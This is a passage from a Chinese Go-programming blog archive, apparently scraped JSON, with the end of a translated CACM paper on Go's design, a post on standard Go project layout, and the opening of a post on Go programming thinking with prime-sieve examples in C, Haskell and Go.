test期间自动运行它们，然后再运行测试本身。无论如何，测试是用户在寻找错误，测试报告往往有助于解释实际的测试失败。这个增量框架也可以被其他工具重复使用。\n分析程序的工具是很有帮助的，但是编辑程序的工具就更好了，特别是对于程序的维护，很多工具都是乏味的、可自动化运作的。\nGo程序源码的标准样式是通过算法定义的。一个名为gofmt的工具将源文件解析为抽象的语法树，然后使用一致的布局规则将其格式化为源代码。在Go中，在将代码存储到源码控制系统中之前将其格式化被认为是一种最佳做法。这种方法使数以千计的开发人员能够在一个共享的代码库中工作，而不需要为大括号样式和其他细节进行争论，这些争论常伴随着这种大型项目。更重要的是，工具可以通过对抽象语法形式的操作来修改Go程序，然后用gofmt的printer输出结果。只有实际改变的部分才会被触及，产生的”差异”与人的手写结果是一致的。人和程序可以在同一个代码库中无缝协作。\n为了实现这种方法，Go的语法被设计为能够在没有类型信息或任何其他外部输入的情况下解析源文件，而且没有预处理器或其他宏系统。Go标准库提供了一些包，允许工具重新创建gofmt的输入和输出端，同时还有一个完整的类型检查器。\n在发布Go 1.0 –第一个稳定的Go版本之前，我们写了一个叫做gofix的重构工具，它就使用这些包来解析源代码、重写抽象语法树，并写出格式良好的代码。例如，当从map中删除一个条目的语法被改变时，我们就使用了gofix。每次用户更新到一个新版本时，他们可以在他们的源文件上运行gofix，自动应用更新到新版本所需的大部分变化。\n这些技术也适用于IDE插件和其他支持Go程序员的工具–profiler、调试器、分析器、构建自动程序、测试框架等等的构建。Go的常规语法、既定的算法代码布局惯例以及基于标准库的直接支持，使得这些工具的构建比其他方式要容易得多。因此，Go世界拥有一个丰富的、不断扩展的、可互操作的工具包。\n库(Libraries) 在语言和工具之后，下一个用户关键体验是可用的Go库。作为一种分布式计算的语言，Go没有提供用于发布Go软件包的中央服务器。相反，每个以域名开始的导入路径都被解释为一个URL（有一个隐含的前导https://），提供远程源代码的位置。例如，导入 “github.com/google/uuid”可以获取托管在相应的GitHub仓库的代码。\n托管源代码最常见的方式是指向公共的Git或Mercurial服务器，但私人服务器也同样得到了很好的支持，作者可以选择发布一个静态的文件包，而不是开放对源码控制系统的访问。这种灵活的设计和发布库的便利性创造了一个繁荣的可导入Go包的社区。依靠域名，避免了在扁平的包名空间中急于索取有价值的条目(译注：应该是避免了导入路径冲突的问题)。\n仅仅下载软件包是不够的，我们还必须知道要使用哪些版本。Go将包分组为称为module的版本单位。一个module可以为它的一个依赖关系指定一个最低要求的版本，但没有其他限制。当构建一个特定的程序时，Go通过选择最大版本来解决竞争的依赖module的所需版本：如果程序的一部分需要某个依赖module的1.2.0版本，而另一部分需要1.3.0版本，Go会选择1.3.0版本–也就是说，Go要求使用语义版本划分，其中1.3.0版本必须是1.2.0的直接替换(译注：1.3.0保持与1.2.0的兼容性)。另一方面，在这种情况下，即使1.4.0版本可用，Go也不会选择它，因为程序中没有任何部分明确要求使用该较新的版本。这个规则保持了构建的可重复性，并最大限度地减少了因意外破坏新版本所引入的变化而造成的潜在风险。\n在语义版本管理中，一个module只能在一个新的主要版本中引入有意的破坏性变化，比如2.0.0。在Go中，从2.0.0开始的每个主要版本在其导入路径中都有一个主要版本后缀，比如/v2。不同的主版本和其他不同名字的module一样被分开。这种方法不允许出现钻石依赖性问题，而且在实践中，它可以适应不兼容的情况，也可以适应具有更精细约束的系统。\n为了提高从互联网上下载软件包的构建的可靠性和可重现性，我们在Go工具链中运行了两个默认使用的服务：一个是可用的Go软件包的公共镜像，一个是其预期内容的加密签名的透明日志。即便如此，广泛使用从互联网上下载的软件包仍然存在安全和其他风险。我们正在努力使Go工具链能够主动识别并向用户报告有漏洞的软件包。\n结论(Conclusion) 虽然大多数语言的设计都集中在语法、语义或类型的创新上，但Go的重点是软件开发过程本身。Go语言高效、易学、免费，但我们认为它的成功之处在于它所采取的编写程序的方法，特别是多个程序员在一个共享代码库上工作时。该语言本身的主要不寻常属性–并发性–解决了2010年代随着多核CPU的广泛应用而出现的问题。但更重要的是，早期的工作为打包、依赖关系、构建、测试、部署和软件开发领域的其他工作任务奠定了基础，这些方面在传统的语言设计中并没有受到应有的重视。\n这些想法吸引了志同道合的开发者，他们重视与努力的结果是：容易并发、明确的依赖关系、可扩展的开发和生产、安全的程序、简单的部署、自动代码格式化、工具辅助开发等等。这些早期的开发者帮助普及了Go，并播种了最初的Go包生态系统。他们还推动了该语言的早期发展，例如，将编译器和库移植到Windows和其他操作系统上（最初的版本只支持Linux和MacOS X）。\n不是每个人都喜欢–例如，有些人反对该语言省略了继承和泛型等常见功能。但是Go的以开发为中心的理念足够吸引人，也足够有效，以至于社区在保持最初推动Go存在的核心原则的同时，也得到了蓬勃发展。在很大程度上，由于该社区和它所建立的技术，Go现在是现代云计算环境的一个重要组成部分。\n自Go第一版发布以来，该语言几乎被冻结。然而，工具已经大大扩展，有了更好的编译器，更强大的构建和测试工具，以及改进的依赖性管理，更不用说支持Go的大量开源工具了。然而，变化正在到来。2022年3月发布的Go 1.18包含了对语言的真正改变的第一个版本，一个被广泛要求的改变–参数化多态性的第一版实现。我们曾将任何形式的泛型排除在原始语言之外，因为我们敏锐地意识到，它很难设计好，而且在其他语言中，往往是复杂性而非生产力的来源。在Go的第一个十年中，我们考虑了很多设计，但直到最近才找到一个我们认为很适合Go的设计。在坚持一致性、完整性和社区原则的前提下进行如此大的语言变革，将是对该方法的严峻考验。\n致谢(Acknowledgments) Go最早的工作从Google的许多同事的建议和帮助中受益匪浅。自公开发布以来，由于Google的Go团队不断扩大，加上大量的开源贡献者，Go不断成长和改进。Go现在是由成千上万的人共同完成的，这里无法一一列举。我们感谢每一个帮助Go发展到今天的人。\n参考资料(References) Aas, J. and Gran, S. Let’s Encrypt has issued a billion certificates. Let’s Encrypt (2020), https://letsencrypt.org/2020/02/27/one-billion-certs.html.\nAas, J., et al. Let’s Encrypt: An automated certificate authority to encrypt the entire web. In Proceedings of the 2019 ACM SIGSAC Conf. on Computer and Communications Security, 2473–2487.\nBloch, D. Life on the edge: Monitoring and running a very large Perforce installation. Presented at 2007 Perforce User Conf., https://go.dev/s/bloch2007.\nChang, F., et al. Bigtable: A distributed storage system for structured data. In 7th USENIX Symposium on Operating Systems Design and Implementation (2006), 205–218.\nCox, R. Introducing Gofix. The Go Blog (2011), https://go.dev/blog/introducing-gofix.\nCox, R. The principles of versioning in Go. (2019), https://research.swtch.com/vgo-principles.\nCox, R. Surviving software dependencies. Communications of the ACM 62, 9 (Aug. 2019), 36–43.\nCox, R. Transparent logs for skeptical clients (2019), https://research.swtch.com/tlog.\nCox, R. and Pike, R. Go programming. Presented at Google I/O (2010), https://www.youtube.com/watch?v=jgVhBThJdXc.\nCrosby, S.A. and Wallach, D.S. Efficient data structures for tamper-evident logging. In Proceedings of the 18th USENIX Security Symp. (2009), 317–334.\nDonovan, A.A.A. and Kernighan, B.W. The Go Programming Language. Addison-Wesley, USA (2015).\nDorward, S., Pike, R., and Winterbottom, P. Programming in Limbo. In IEEE COMPCON 97 Proceedings (1997), 245–250.\nGeissmann, L.B. Separate compilation in Modula-2 and the structure of the Modula-2 compiler on the personal computer Lilith. Ph.D. dissertation. Swiss Federal Institute of Technology (1983), https://www.cfbsoftware.com/modula2/ETH7286.pdf.\nGerrand, A. Go fmt your code. The Go Blog (2013), https://go.dev/blog/gofmt.\nGo Project. Setting up and using gccgo. (2009), https://go.dev/doc/install/gccgo.\nGo Project. Go 1 and the future of Go programs. (2012), https://go.dev/doc/go1compat.\nGo Project. Gollvm, an LLVM-based Go compiler. (2017), https://go.googlesource.com/gollvm/.\nGo Project. The Go programming language specification. (2021), https://go.dev/ref/spec.\nHoare, C.A.R. Communicating Sequential Processes. Prentice-Hall, Inc., USA (1985).\nHockman, K. Go Module Proxy: Life of a query. Presented at GopherCon 2019, https://www.youtube.com/watch?v=KqTySYYhPUE\nHudson, R.L. Getting to Go: The journey of Go’s garbage collector. The Go Blog (2018), https://go.dev/blog/ismmkeynote.\nKlabnik, S. and Nichols, C. The Rust Programming Language. No Starch Press, USA (2018).\nLam, A. Using remote cache service for Bazel. Communications of the ACM 62, 1 (Dec. 2018), 38–42.\nOusterhout, J. Why threads are a bad idea (for most purposes). (1995), https://web.stanford.edu/~ouster/cgi-bin/papers/threads.pdf\nPike, R. The implementation of Newsqueak. Software: Practice and Experience 20, 7 (1990), 649–659.\nPike, R., Dorward, S., Griesemer, R., and Quinlan, S. Interpreting the data: Parallel analysis with Sawzall. Scientific Programming Journal 13 (2005), 277–298.\nPreston-Werner, T. Semantic versioning 2.0.0. (2013), https://semver.org/\nSerebryany, K., Potapenko, A., Iskhodzhanov, T., and Vyukov, D. Dynamic race detection with LLVM compiler: Compile-time instrumentation for ThreadSanitizer. In Runtime Verification, S. Khurshid, and K. Sen (Eds.). Springer Berlin Heidelberg, Berlin, Heidelberg (2012), 110–114.\nStambler, R. Go, pls stop breaking my editor. Presented at GopherCon 2019, https://www.youtube.com/watch?v=EFJfdWzBHwE.\nSymonds, D., Tao, N., and Gerrand, A. Go and Google App Engine. The Go Blog (2011), https://go.dev/blog/appengine\nWinterbottom, P. Alef language reference manual. In Plan 9: Programmer’s Manual Volume 2. Harcourt Brace and Co., New York (1996).\n作者(Authors) Russ Cox (rsc@go.dev), Robert Griesemer, Rob Pike, Ian Lance Taylor, and Ken Thompson作为美国加州山景城的谷歌公司的软件工程师创造了Go编程语言和环境。Cox、Griesemer和Taylor继续在Google领导Go项目，而Pike和Thompson已经退休了。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-go-programming-language-and-environment-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\"\u003ehttps://tonybai.com/2022/05/04/the-paper-of-go-programming-language-and-environment\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://cacm.acm.org/\"\u003e美国计算机学会通讯(Communications of the ACM)\u003c/a\u003e期刊2022年5月第65卷第5期将发表一篇有关Go语言的综述类Paper：\u003ca href=\"https://cacm.acm.org//magazines/2022/5/260357-the-go-programming-language-and-environment/fulltext\"\u003e《Go编程语言与环境》\u003c/a\u003e，这类综述类文章只有资深的Go核心团队的人才“有资格”写，该文的作者列表印证了这一点，他们是Russ Cox，Robert Griesemer，Rob Pike，Ian Lance Taylor和Ken Thompson，都是Go语言核心团队耳闻能详的人物。\u003c/p\u003e","title":"Go编程语言与环境：万字长文复盘导致Go语言成功的那些设计决策[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2022/04/28/the-standard-layout-of-go-project\n每当我们编写一个非hello world的实用Go程序或库时，我们都会在项目结构、代码风格以及标识符命名这三个“门槛”前面踯躅徘徊许久，甚至始终得不到满意答案。\n本文将通过《Go语言精进之路：从新手到高手的编程思想、方法与技巧》这本书的内容来详细看一看Go项目结构这道“门槛”应该如何迈过，以帮助大家能更快地深入Go语言的核心腹地，提高学习效率。\n除非是像hello world这样的简单程序，但凡我们编写一些实用程序或库，我们都会遇到采用什么样的项目结构（project structure）的问题（通常一个Go项目对应一个仓库repository）。在Go语言中，项目结构的同样十分重要，因为这决定了项目内部包的布局以及包依赖关系是否合理，同时还会影响到外部项目对该项目中包的依赖与引用。\n1. Go项目的项目结构 我们先来看看世界上第一个Go项目- Go语言自身的项目结构是什么样的。\nGo项目的项目结构自1.0版本发布以来一直十分稳定，直到现在Go项目的顶层结构基本没有大的改变。截至go项目commit 1e3ffb0c（2019.5.14），go项目结构如下：\n$ tree -LF 1 ~/go/src/github.com/golang/go ./go ├── api/ ├── AUTHORS ├── CONTRIBUTING.md ├── CONTRIBUTORS ├── doc/ ├── favicon.ico ├── lib/ ├── LICENSE ├── misc/ ├── PATENTS ├── README.md ├── robots.txt ├── src/ └── test/ 作为Go语言的“创世项目”，其项目结构的布局对后续的其他Go语言项目具有重要的参考意义，尤其是早期Go项目中src目录下面的结构，更是在后续被Go社区作为Go应用项目结构的模板被广泛使用。我们以早期的Go 1.3版本的src目录下的结构为例：\n$ tree -LF 1 ./src ./src ├── all.bash* ├── all.bat ├── all.rc* ├── clean.bash* ├── clean.bat ├── clean.rc* ├── cmd/ ├── lib9/ ├── libbio/ ├── liblink/ ├── make.bash* ├── make.bat ├── Make.dist ├── make.rc* ├── nacltest.bash* ├── pkg/ ├── race.bash* ├── race.bat ├── run.bash* ├── run.bat ├── run.rc* └── sudo.bash* 关于上面src目录下面的结构，我总结了三个特点：\n1）代码构建的脚本源文件放在src下面的顶层目录下；\n2）src下的二级目录cmd下面存放着go工具链相关的可执行文件（比如：go、gofmt等）的主目录以及它们的main包源文件；\n$ tree -LF 1 ./cmd ./cmd ... ├── 6a/ ├── 6c/ ├── 6g/ ... ├── cc/ ├── cgo/ ├── dist/ ├── fix/ ├── gc/ ├── go/ ├── gofmt/ ├── ld/ ├── nm/ ├── objdump/ ├── pack/ └── yacc/ 3）src下的二级目录pkg下面存放着上面cmd下各工具链程序依赖的包、go运行时以及go标准库的源文件\n$ tree -LF 1 ./pkg ./pkg ... ├── flag/ ├── fmt/ ├── go/ ├── io/ ├── log/ ├── math/ ... ├── syscall/ ├── testing/ ├── text/ ├── time/ ├── unicode/ └── unsafe/ 在Go 1.3版本以后至今，Go项目下的src目录中发生了几次结构上的变动：\nGo 1.4版本中删除了Go源码树中src/pkg/xxx中pkg这一层级目录而直接使用src/xxx；\nGo 1.4版本在src下面增加internal目录，用于存放无法被外部导入仅Go项目自用的包；\nGo 1.6版本在src下面增加vendor目录，但Go项目自身真正启用vendor机制是在Go 1.7版本中。vendor目录中存放了go项目自身对外部项目的依赖，主要是golang.org/x下的各个包，包括：net、text、crypto等。该目录下的包会在每次Go版本发布时做更新；\nGo 1.13版本在src下面增加了go.mod和go.num，实现了go项目自身的go module迁移，go项目内所有包被放入名为std的module下面，其依赖的包依然是golang.org/x下的各个包\n// Go 1.13版本go项目src下面的go.mod module std\ngo 1.12\nrequire ( golang.org/x/crypto v0.0.0-20200124225646-8b5121be2f68 golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7 golang.org/x/sys v0.0.0-20190529130038-5219a1e1c5f8 // indirect golang.org/x/text v0.3.2 // indirect )\n下面是最新的Go 1.16版本src目录下的完整布局：\n├── Make.dist ├── README.vendor ├── all.bash* ├── all.bat ├── all.rc* ├── bootstrap.bash* ├── buildall.bash* ├── clean.bash* ├── clean.bat ├── clean.rc* ├── cmd/ ├── cmp.bash ├── go.mod ├── go.sum ├── internal/ ├── make.bash* ├── make.bat ├── make.rc* ├── race.bash* ├── race.bat ├── run.bash* ├── run.bat ├── run.rc* ├── testdata/ ... └── vendor/ 2. Go语言典型项目结构 （1）Go项目结构的最小标准布局 关于Go应用项目结构的标准布局是什么样子的，Go官方团队始终没有给出参考标准。不过作为Go语言项目的技术负责人，Russ Cox在一个开源项目的issue中给出了他关于Go项目结构的最小标准布局Russ Cox关于Go项目结构的最小标准布局的想法的想法。他认为的Go项目的最小标准布局应该是如下这样的：\n// 在Go项目仓库根路径下 - go.mod - LICENSE - xx.go - yy.go ... 或 - go.mod - LICENSE - package1 - package1.go - package2 - package2.go ... 至于pkg、cmd、docs这些目录不应该成为Go项目标准结构的一部分，至少不是必须的。笔者认为Russ Cox给出的最小标准布局与Go一贯崇尚的“简单”哲学是一脉相承的，这个布局很灵活，可以满足各种Go项目的需求。\n但是在Russ Cox阐述上述最小标准之前，Go社区其实是处于“无标准”状态的，早期Go语言自身项目的结构布局对现存的大量Go开源项目的影响依然持久，对于一些规模稍大些的Go应用项目，我们势必会在上述的“最小标准布局”的基础上做出扩展。而这种扩展也显然也不会是盲目的，而还是会参考Go语言项目自身的结构布局，于是我们就有了下面的非官方标准的建议结构布局。\n（2）以构建二进制可执行文件为目的的Go项目结构 基于Go语言项目自身的早期结构以及后续演进，Go社区在多年的Go语言实践积累后逐渐形成了一种典型项目结构，这种结构与Russ Cox的最小标准布局是兼容的，如图1所示。\n图1 Go语言典型项目结构（以构建二进制可执行文件为目的的Go项目）\n上面就是一个支持构建二进制可执行文件（在cmd下）的典型Go项目的结构，我们分别来看一下各个重要目录的用途：\ncmd目录：存放项目要编译构建的可执行文件对应的main包的源文件。如果有多个可执行文件需要构建，每个可执行文件的main包单独放在一个子目录中，比如图中的app1、app2；cmd目录下的各app的main包将整个项目的依赖连接在一起；并且通常来说，main包应该很简洁。我们在main包中会做一些命令行参数解析、资源初始化、日志设施初始化、数据库连接初始化等工作，之后就会将程序的执行权限交给更高级的执行控制对象；也有一些go项目将cmd这个名字改为app，但其功用并没有变；\npkg目录：存放项目自身要使用、同样也是可执行文件对应main包所要依赖的库文件；同时该目录下的包还可以被外部项目引用，算是项目导出包的一个“聚合”；也有些项目将pkg这个名字改为lib，但目录用途不变；由于Go语言项目自身在1.4版本中去掉了pkg这一层目录，因此也有一些项目直接将包平铺到项目根路径下，但笔者认为对于一些规模稍大的项目，过多的包会让项目顶层目录不再简洁，显得很“拥挤”，因此我个人建议对于复杂的Go项目，保留pkg目录未尝不可。\nMakefile：这里的Makefile是项目构建工具所用脚本的“代表”，它可以代表任何第三方构建工具所用的脚本。Go并没有内置如make、bazel等级别的项目构建工具，对于一些规模稍大的项目而言，项目构建工具似乎还不可缺少。在Go典型项目中，项目构建工具的脚本一般放在项目顶层目录下，比如这里的Makefile；对于构建脚本较多的项目，也可以建立build目录，并将构建脚本的规则属性文件、子构建脚本放入其中。\ngo.mod和go.sum：Go语言包依赖管理使用的配置文件。Go 1.11版本引入go modules机制，Go 1.16版本中，go module成为默认的依赖包管理和构建机制。因此对于新的Go项目，我们建议基于go modules进行包依赖管理。对于没有使用go modules进行包管理的项目（可能主要是一些使用go 1.11以前版本的go项目），这里可以换为dep的Gopkg.toml和Gopkg.lock或者glide的glide.yaml和glide.lock等。\nvendor目录（可选）：vendor是Go 1.5版本引入的用于在项目本地缓存特定版本依赖包的机制，在go modules机制引入前，基于vendor可以实现可重现的构建（reproducible build），保证基于同一源码构建出的可执行程序是等价的。go modules本身就可以实现可重现的构建，而无需vendor，当然go module机制也保留了vendor目录（通过go mod vendor可以生成vendor下的依赖包；通过go build -mod=vendor可以实现基于vendor的构建），因此这里将vendor目录视为一个可选目录。一般我们仅保留项目根目录下的vendor目录，否则会造成不必要的依赖选择的复杂性。\nGo 1.11引入的module是一组同属于一个版本管理单元的包的集合。并且Go支持在一个项目/仓库中存在多个module，但这种管理方式可能要比一定比例的代码重复引入更多的复杂性。因此，如果项目结构中存在版本管理的“分歧”，比如：app1和app2的发布版本并不总是同步的，那么笔者建议将项目拆分为多个项目（仓库），每个项目单独作为一个module进行单独的版本管理和演进。\n（3）以只构建库为目的的Go项目结构 Go 1.4发布时，Go语言项目自身去掉了src下的pkg这一层目录，这个结构上的改变对那些以只构建库为目的的Go库类型项目结构有着一定的影响。我们来看一个典型的Go语言库类型项目的结构布局，见图2。\n图2 Go语言库项目结构\n我们看到库类型项目结构与Go项目的最小标准布局也是兼容的，但相比于以构建二进制可执行文件为目的的Go项目要简单一些：\n去除了cmd和pkg两个子目录：由于仅构件库，没必要保留存放二进制文件main包源文件的cmd目录；由于Go库项目的初衷一般都是为了对外部（开源或组织内部公开）暴露API，因此也没有必要将其单独聚合到pkg目录下面了；\nvendor也不再是可选目录：对于库类型项目而言，我们不推荐在项目中放置vendor目录去缓存库自身的第三方依赖，库项目仅通过go.mod（或其他包依赖管理工具的manifest文件）明确表述出该项目依赖的模块或包以及版本要求即可。\n（4）关于internal目录 无论是上面哪种类型的Go项目，对于不想暴露给外部引用，仅限项目内部使用的包，在项目结构上可以通过Go 1.4版本中引入的internal包机制来实现。以库项目为例，最简单的方式就是在顶层加入一个internal目录，将不想暴露到外部的包都放在该目录下，比如下面项目结构中的ilib1、ilib2：\n// 带internal的Go库项目结构 $tree -F ./chapter2/sources/GoLibProj GoLibProj ├── LICENSE ├── Makefile ├── README.md ├── go.mod ├── internal/ │ ├── ilib1/ │ └── ilib2/ ├── lib.go ├── lib1/ │ └── lib1.go └── lib2/ └── lib2.go 这样，根据go internal机制的作用原理，internal目录下的ilib1、ilib2可以被以GoLibProj目录为根目录的其他目录下的代码(比如lib.go、lib1/lib1.go等）所导入和使用，但是却不可以为GoLibProj目录以外的代码所使用，从而实现选择性的暴露API包。当然internal也可以放在项目结构中的任一目录层级中，关键是项目结构设计人员明确哪些要暴露到外层代码，哪些仅用于同级目录或子目录中。\n对于以构建二进制可执行文件类型为目的的项目来说，我们同样可以将不想暴露给外面的包聚合到项目顶层路径下的internal下，与暴露给外部的包的聚合目录pkg遥相呼应。\n3. 小结 本文详细介绍了Go语言项目的结构布局的来龙去脉以及Go项目结构的事实标准。文中的两个针对构建二进制可执行文件类型以及库类型的项目参考结构是Go社区在多年实践后得到公认且使用较为广泛的项目结构，并且它们与Russ Cox提出的Go项目最小标准布局是兼容的，对于稍大型的Go项目来说很具有参考价值。但它们也不是必须的，在Go语言早期，很多项目将所有源文件都放在位于项目根目录下的根包中的做法在一些小规模项目中同样工作得很好。\n对于以构建二进制可执行文件类型为目的的项目来说，受Go 1.4项目结构影响，将pkg这一层次目录去掉也是很多项目选择的结构布局方式。\n上述的参考项目结构与产品设计开发领域的“最小可行产品”（minimum viable product，简称为mvp）的思路有些异曲同工，开发者可以在这样一个最小的“项目结构核心”的基础上根据实际需要对其进行扩展。\n如果您想要了解更多有关Go项目结构与布局的内容，推荐您详细阅读我的新作《Go语言精进之路：从新手到高手的编程思想、方法与技巧》。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/04/28/the-standard-layout-of-go-project/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-standard-layout-of-go-project-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/04/28/the-standard-layout-of-go-project\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/04/28/the-standard-layout-of-go-project\"\u003ehttps://tonybai.com/2022/04/28/the-standard-layout-of-go-project\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e每当我们编写一个非hello world的实用Go程序或库时，我们都会在项目结构、代码风格以及标识符命名这三个“门槛”前面踯躅徘徊许久，甚至始终得不到满意答案。\u003c/p\u003e","title":"我来告诉你Go项目标准结构如何布局"},{"content":"\n本文永久链接 – https://tonybai.com/2022/04/23/taking-a-closer-look-at-programming-thinking-in-go\n经过十几年的演化和发展，Go语言在全世界范围内已经拥有了百万级别的拥趸，在这些开发者当中，除了一部分新入行的编程语言初学者之外，更多的是从其他编程语言阵营转过来的开发者。由于Go语言上手容易，在转Go的初期大家很快就掌握了Go的语法。\n但在编写更多Go代码之后，很多人发现自己写的Go代码总是感觉很别扭，并且总是尝试在Go语言中寻找自己上一门语言中熟悉的语法元素。自己的Go代码风格似乎和Go标准库、主流Go开源项目的代码在思考角度和使用方式上存在不小差异，并且每每看到Go核心开发团队的代码时总有一种醍醐灌顶的感觉。出现这种情况的主要原因就是大脑中上一门编程语言的思维方式在“作祟”。\n本文将通过《Go语言精进之路：从新手到高手的编程思想、方法与技巧》这本书的内容来详细看一看编程语言与编程思维的关系以及Go语言的编程思维究竟是什么，以帮助大家更加深入地理解Go编程。\n了解Go编程思维之前，我们先看看思维与语言之间究竟有什么联系呢？\n1.语言与思维——来自大师的观点 在人类自然语言学界有一个很著名的假说——“萨丕尔—沃夫假说”，这个假说的内容是这样的：“语言影响或决定人类的思维方式。”\n说到这个假说，我们不能不提及在2017年年初国内上映了一部口碑不错的美国科幻大片《降临》，这部片子改编自雨果奖获得者华裔科幻小说家Ted姜的《你一生的故事》。片中主线剧情的理论基础就是“萨丕尔—沃夫假说”。更夸张的是片中直接将该假说应用到外星人语言上，将其扩展到宇宙范畴。片中的女主作为人类代表与外星人沟通，并学会了外星语言，从此思维大变，拥有了预知未来的“超能力”，这也算是语言影响思维的极致表现了。\n奇妙的是，在编程语言界，有位大师级人物也有着与“萨丕尔-沃夫假说”异曲同工的观点和认知，他就是首届图灵奖得主、著名计算机科学家艾伦·佩利（Alan J. Perlis），他从另外一个角度提出：“不能影响到你的编程思维方式的编程语言不值得去学习和使用。”\n2.现实中的“投影” 从上述大师们的理论和观点，我们看到了语言与思维之间存在着某种联系。那么两者间的这种联系在真实编程世界中的投影又是什么样子的呢？我们来看一个简单的编程问题——素数筛：\n问题描述：素数是一个自然数，它具有两个截然不同的自然数除数：1和它本身。这里的问题是如何找到小于或等于给定整数n的素数。针对这个问题，我们可以采用埃拉托斯特尼素数筛算法。\n算法描述：先用最小的素数2去筛，把2的倍数剔除掉；下一个未筛除的数就是素数（这里是3）。再用这个素数3去筛，筛除掉3的倍数… 这样不断重复下去，直到筛完为止（算法图示见图1）。\n图1 素数筛算法图示\n下面是该素数筛算法的不同编程语言的实现版本。\n（1）C语言版本 // sieve.c #include \u0026lt;stdio.h\u0026gt; #define LIMIT 50 #define PRIMES 10 void sieve() { int c, i,j,numbers[LIMIT], primes[PRIMES]; for (i=0;i\u0026lt;LIMIT;i++){ numbers[i]=i+2; /*fill the array with natural numbers*/ } for (i=0;i\u0026lt;LIMIT;i++){ if (numbers[i]!=-1){ for (j=2*numbers[i]-2;j\u0026lt;LIMIT;j+=numbers[i]) numbers[j]=-1; /* 筛除非素数 */ } } c = j = 0; for (i=0;i\u0026lt;LIMIT\u0026amp;\u0026amp;j\u0026lt;PRIMES;i++) { if (numbers[i]!=-1) { primes[j++] = numbers[i]; /*transfer the primes to their own array*/ c++; } } for (i=0;i\u0026lt;c;i++) printf(\u0026quot;%d\\n\u0026quot;,primes[i]); } （2）Haskell版本 // sieve.hs sieve [] = [] sieve (x:xs) = x : sieve (filter (\\a -\u0026gt; not $ a `mod` x == 0) xs) n = 100 main = print $ sieve [2..n] （3）Go语言版本 // sieve.go func Generate(ch chan\u0026lt;- int) { for i := 2; ; i++ { ch \u0026lt;- i } } func Filter(in \u0026lt;-chan int, out chan\u0026lt;- int, prime int) { for { i := \u0026lt;-in if i%prime != 0 { out \u0026lt;- i } } } func main() { ch := make(chan int) go Generate(ch) for i := 0; i \u0026lt; 10; i++ { prime := \u0026lt;-ch print(prime, \u0026quot;\\n\u0026quot;) ch1 := make(chan int) go Filter(ch, ch1, prime) ch = ch1 } } 对比上述的三个语言版本的素数筛算法的实现，我们看到：\nC版本的素数筛程序是一个常规实现。它定义了两个数组：numbers和primes，“筛”的过程在numbers这个数组中进行（即基于纯内存修改），非素数的数组元素被设置为-1，便于后续提取；\nHaskell版本采用了函数递归的思路，通过“filter操作集合”，用下面谓词（过滤条件）筛除素数的倍数，将未筛除的数的集合作为参数传递归递给下去；\n\\a -\u0026gt; not $ a mod x == 0；\nGo版本程序实现了一个并发素数筛，它采用的是goroutine的并发组合。程序从素数2开始，依次为每个素数建立一个goroutine，用于作为筛除该素数的倍数。ch指向当前最新输出素数所位于的筛子goroutine的源channel，这段代码来自于Rob Pike的一次关于并发的分享。Go版本程序的执行过程可以用图2立体的展现出来。\n图2 Go版本素数筛执行图示\n3.Go语言原生编程思维 